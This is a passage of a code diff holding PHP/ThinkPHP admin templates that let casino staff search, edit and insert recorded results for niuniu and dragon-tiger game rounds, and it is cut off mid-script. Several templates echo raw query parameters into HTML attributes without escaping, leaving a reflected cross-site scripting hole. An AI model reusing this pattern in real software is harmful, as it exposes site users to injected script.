</dd>
|
||||
-->
|
||||
<!--
|
||||
<dd>铺号: </dd>
|
||||
<dd style="margin-right:20px;">
|
||||
<select id="search_number_id" name="search_number_id" class="select-box">
|
||||
<option value="-1">请选择铺</option>
|
||||
</select>
|
||||
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" > 导出当前数据</a>
|
||||
</dd>
|
||||
-->
|
||||
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<!--<div class="padding border-bottom" style="padding:10px;">-->
|
||||
<!--<a href="/waybill/add_dt" class="button border-main icon-file-excel-o"> 新增路单</a>-->
|
||||
<!--</div>-->
|
||||
<table class="table table-hover text-center">
|
||||
<tr>
|
||||
<th>游戏名称</th>
|
||||
<th>桌子名称</th>
|
||||
<th>靴号</th>
|
||||
<th>铺号</th>
|
||||
<th>结果</th>
|
||||
<th>提交时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
{volist name="$number_tab_list" id="vo"}
|
||||
<tr class="vlist">
|
||||
<td>{$vo.game_name}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.boot_num}</td>
|
||||
<td>{$vo.number}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>{$vo.start_time}</td>
|
||||
<td>
|
||||
<div class="button-group">
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-result="{$vo.result}"
|
||||
data-start_time="{$vo.start_time}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertEidt(this)">修改</a>
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertAdd(this)">在该铺后增加一口路单</a>
|
||||
<!--<a class="button border-main" href="javascript:void(0)" onclick = "deleteDt('{$vo.id}')" >删除</a>-->
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
{/volist}
|
||||
<tr>
|
||||
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
|
||||
<div class="update-ludan" id="update_ludan" style="display:none;">
|
||||
<div class="update-ludan-title">修改结果</div>
|
||||
<div class="update-ludan-msg">
|
||||
开始时间:<span id="h_show_start_time"></span><br>
|
||||
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
|
||||
原结果:<span id="h_show_result"></span> <span id="h_show_pair"></span> <span id="h_show_win6"></span>
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="update_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-1">庄-平倍</option>
|
||||
<option value="1-2">庄-翻2倍</option>
|
||||
<option value="1-3">庄-翻3倍</option>
|
||||
<option value="1-4">庄-翻4倍</option>
|
||||
<option value="1-5">庄-翻5倍</option>
|
||||
<option value="2-1">闲-平倍</option>
|
||||
<option value="2-2">闲-翻2倍</option>
|
||||
<option value="2-3">闲-翻3倍</option>
|
||||
<option value="2-4">闲-翻4倍</option>
|
||||
<option value="2-5">闲-翻5倍</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="h_game_id" value="">
|
||||
<input type="hidden" id="h_table_id" value="">
|
||||
<input type="hidden" id="h_boot_id" value="">
|
||||
<input type="hidden" id="h_number_tab_id" value="">
|
||||
<a id="confirm_update_ludan">确认</a>
|
||||
<a id="cancel_update_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="update-ludan" id="add_ludan" style="display:none;">
|
||||
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
|
||||
<div class="update-ludan-msg">
|
||||
<div class="update-ludan-msg">
|
||||
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
|
||||
</div>
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="add_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-1">庄-平倍</option>
|
||||
<option value="1-2">庄-翻2倍</option>
|
||||
<option value="1-3">庄-翻3倍</option>
|
||||
<option value="1-4">庄-翻4倍</option>
|
||||
<option value="1-5">庄-翻5倍</option>
|
||||
<option value="2-1">闲-平倍</option>
|
||||
<option value="2-2">闲-翻2倍</option>
|
||||
<option value="2-3">闲-翻3倍</option>
|
||||
<option value="2-4">闲-翻4倍</option>
|
||||
<option value="2-5">闲-翻5倍</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="add_game_id" value="">
|
||||
<input type="hidden" id="add_table_id" value="">
|
||||
<input type="hidden" id="add_boot_id" value="">
|
||||
<input type="hidden" id="add_number_tab_id" value="">
|
||||
<a id="confirm_add_ludan">确认</a>
|
||||
<a id="cancel_add_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
function alertAdd(obj){
|
||||
$('#add_ludan').show();
|
||||
$('#add_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#add_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#add_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#add_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#add_show_number').html($(obj).attr("data-number"));
|
||||
}
|
||||
function alertEidt(obj){
|
||||
$('#update_ludan').show();
|
||||
$('#h_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#h_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#h_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#h_show_start_time').html($(obj).attr("data-start_time"));
|
||||
$('#h_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#h_show_number').html($(obj).attr("data-number"));
|
||||
$('#h_show_result').html($(obj).attr("data-result"));
|
||||
}
|
||||
|
||||
$(function(){
|
||||
$('#cancel_update_ludan').click(function (){
|
||||
$('#update_ludan').hide();
|
||||
})
|
||||
$('#confirm_update_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
|
||||
query.game_id = $('#h_game_id').val();
|
||||
query.table_id = $('#h_table_id').val();
|
||||
query.boot_id = $('#h_boot_id').val();
|
||||
query.number_tab_id = $('#h_number_tab_id').val();
|
||||
var result = $('#update_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/edit_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
$('#cancel_add_ludan').click(function (){
|
||||
$('#add_ludan').hide();
|
||||
})
|
||||
$('#confirm_add_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
|
||||
query.game_id = $('#add_game_id').val();
|
||||
query.table_id = $('#add_table_id').val();
|
||||
query.boot_id = $('#add_boot_id').val();
|
||||
query.number_tab_id = $('#add_number_tab_id').val();
|
||||
var result = $('#add_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/add_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
|
||||
/* 查询之后保留查询条件 */
|
||||
var table_id = $('#table_id').val();
|
||||
var boot_id = $('#boot_id').val();
|
||||
var number_id = $('#number_id').val();
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 3;
|
||||
|
||||
// 保留靴条件
|
||||
if(table_id > 0){
|
||||
// 清除上次遗留的靴数据
|
||||
$('.boot').remove();
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/dn_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(boot_id == result.data[i].id){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
|
||||
}else{
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
// 保留铺条件
|
||||
if(table_id > 0 && boot_id > 0){
|
||||
// 清除上次遗留的铺数据
|
||||
$('.number').remove();
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(number_id == result.data[i].id){
|
||||
str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
|
||||
}else{
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* 监听桌子onchange事件 */
|
||||
$(document).on('change','#search_table_id',function(){
|
||||
// 清除上次遗留的靴和铺数据
|
||||
$('.boot').remove();
|
||||
$('.number').remove();
|
||||
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 3;
|
||||
var table_id = $(this).val();
|
||||
if(table_id <= 0){
|
||||
return false;
|
||||
}
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/dn_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
});
|
||||
|
||||
/* 监听靴onchange事件 */
|
||||
$(document).on('change','#search_boot_id',function(){
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 3;
|
||||
var table_id = $('#search_table_id').val();
|
||||
var boot_id = $(this).val();
|
||||
if(table_id <= 0) return false;
|
||||
if(boot_id <= 0) return false;
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/**
|
||||
* 删除百家乐路单
|
||||
*/
|
||||
function deleteDt(id){
|
||||
layer.confirm('确定删除吗?',function(){
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('注单出错!');
|
||||
}
|
||||
var query = new Object;
|
||||
query.number_tab_id = id;
|
||||
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/delete_dn',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ajax 封装
|
||||
*/
|
||||
function ajax(url,query)
|
||||
{
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
|
||||
<script type="text/javascript">
|
||||
//搜索
|
||||
function changesearch(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var search_boot_id = $('#search_boot_id').val();
|
||||
var search_number_id = $('#search_number_id').val();
|
||||
var search_table_id = $('#search_table_id').val();
|
||||
window.location.href="/waybill/dn?startDate="+startDate+"&endDate="+endDate+"&search_boot_id="+search_boot_id+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
|
||||
}
|
||||
|
||||
//导出excel
|
||||
function downloadExcel(){
|
||||
msgConfirm("您确定要将导出Excel表吗?",function(){
|
||||
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
|
||||
})
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,467 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="renderer" content="webkit">
|
||||
<title>龙虎路单修改</title>
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<style>
|
||||
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
|
||||
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
|
||||
</style>
|
||||
</head>
|
||||
<body style="margin:20px;">
|
||||
<div class="admin-panel main-box">
|
||||
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
|
||||
<div class="padding border-bottom">
|
||||
<ul class="search" style="padding-left:10px;">
|
||||
<li>
|
||||
<dl class="search-dl">
|
||||
<dd>开始时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
</dd>
|
||||
<dd>结束时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
</dd>
|
||||
<dd style="margin-right:20px;">
|
||||
<select id="search_table_id" name="search_table_id" class="select-box">
|
||||
<option value="0">请选择桌子</option>
|
||||
{volist name="$table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</dd>
|
||||
<!--
|
||||
<dd>靴号: </dd>
|
||||
<dd style="margin-right:10px;">
|
||||
<select id="search_boot_id" name="search_boot_id" class="select-box">
|
||||
<option value="-1">请选择靴</option>
|
||||
</select>
|
||||
</dd>
|
||||
-->
|
||||
<!--
|
||||
<dd>铺号: </dd>
|
||||
<dd style="margin-right:20px;">
|
||||
<select id="search_number_id" name="search_number_id" class="select-box">
|
||||
<option value="-1">请选择铺</option>
|
||||
</select>
|
||||
|
||||
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" > 导出当前数据</a>
|
||||
</dd>
|
||||
-->
|
||||
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<table class="table table-hover text-center">
|
||||
<tr>
|
||||
<th>游戏名称</th>
|
||||
<th>桌子名称</th>
|
||||
<th>靴号</th>
|
||||
<th>铺号</th>
|
||||
<th>结果</th>
|
||||
<th>提交时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
{volist name="$number_tab_list" id="vo"}
|
||||
<tr class="vlist">
|
||||
<td>{$vo.game_name}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.boot_num}</td>
|
||||
<td>{$vo.number}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>{$vo.start_time}</td>
|
||||
<td>
|
||||
<div class="button-group">
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-result="{$vo.result}"
|
||||
data-start_time="{$vo.start_time}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertEidt(this)">修改</a>
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertAdd(this)">在该铺后增加一口路单</a>
|
||||
<!--<a class="button border-main" href="javascript:void(0)" onclick = "deleteDt('{$vo.id}')" >删除</a>-->
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
{/volist}
|
||||
<tr>
|
||||
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
|
||||
<div class="update-ludan" id="update_ludan" style="display:none;">
|
||||
<div class="update-ludan-title">修改结果</div>
|
||||
<div class="update-ludan-msg">
|
||||
开始时间:<span id="h_show_start_time"></span><br>
|
||||
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
|
||||
原结果:<span id="h_show_result"></span> <span id="h_show_pair"></span> <span id="h_show_win6"></span>
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="update_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-0">龙</option>
|
||||
<option value="2-0">虎</option>
|
||||
<option value="3-0">和</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="h_game_id" value="">
|
||||
<input type="hidden" id="h_table_id" value="">
|
||||
<input type="hidden" id="h_boot_id" value="">
|
||||
<input type="hidden" id="h_number_tab_id" value="">
|
||||
<a id="confirm_update_ludan">确认</a>
|
||||
<a id="cancel_update_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="update-ludan" id="add_ludan" style="display:none;">
|
||||
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
|
||||
<div class="update-ludan-msg">
|
||||
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="add_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-0">龙</option>
|
||||
<option value="2-0">虎</option>
|
||||
<option value="3-0">和</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="add_game_id" value="">
|
||||
<input type="hidden" id="add_table_id" value="">
|
||||
<input type="hidden" id="add_boot_id" value="">
|
||||
<input type="hidden" id="add_number_tab_id" value="">
|
||||
<a id="confirm_add_ludan">确认</a>
|
||||
<a id="cancel_add_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
function alertAdd(obj){
|
||||
$('#add_ludan').show();
|
||||
$('#add_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#add_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#add_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#add_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#add_show_number').html($(obj).attr("data-number"));
|
||||
}
|
||||
function alertEidt(obj){
|
||||
$('#update_ludan').show();
|
||||
$('#h_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#h_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#h_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#h_show_start_time').html($(obj).attr("data-start_time"));
|
||||
$('#h_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#h_show_number').html($(obj).attr("data-number"));
|
||||
$('#h_show_result').html($(obj).attr("data-result"));
|
||||
}
|
||||
|
||||
$(function(){
|
||||
$('#cancel_update_ludan').click(function (){
|
||||
$('#update_ludan').hide();
|
||||
})
|
||||
$('#confirm_update_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
|
||||
query.game_id = $('#h_game_id').val();
|
||||
query.table_id = $('#h_table_id').val();
|
||||
query.boot_id = $('#h_boot_id').val();
|
||||
query.number_tab_id = $('#h_number_tab_id').val();
|
||||
var result = $('#update_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/edit_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
$('#cancel_add_ludan').click(function (){
|
||||
$('#add_ludan').hide();
|
||||
})
|
||||
$('#confirm_add_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
|
||||
query.game_id = $('#add_game_id').val();
|
||||
query.table_id = $('#add_table_id').val();
|
||||
query.boot_id = $('#add_boot_id').val();
|
||||
query.number_tab_id = $('#add_number_tab_id').val();
|
||||
var result = $('#add_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/add_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
|
||||
/* 查询之后保留查询条件 */
|
||||
var table_id = $('#table_id').val();
|
||||
var boot_id = $('#boot_id').val();
|
||||
var number_id = $('#number_id').val();
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 2;
|
||||
|
||||
// 保留靴条件
|
||||
if(table_id > 0){
|
||||
// 清除上次遗留的靴数据
|
||||
$('.boot').remove();
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/dt_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(boot_id == result.data[i].id){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
|
||||
}else{
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
// 保留铺条件
|
||||
if(table_id > 0 && boot_id > 0){
|
||||
// 清除上次遗留的铺数据
|
||||
$('.number').remove();
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(number_id == result.data[i].id){
|
||||
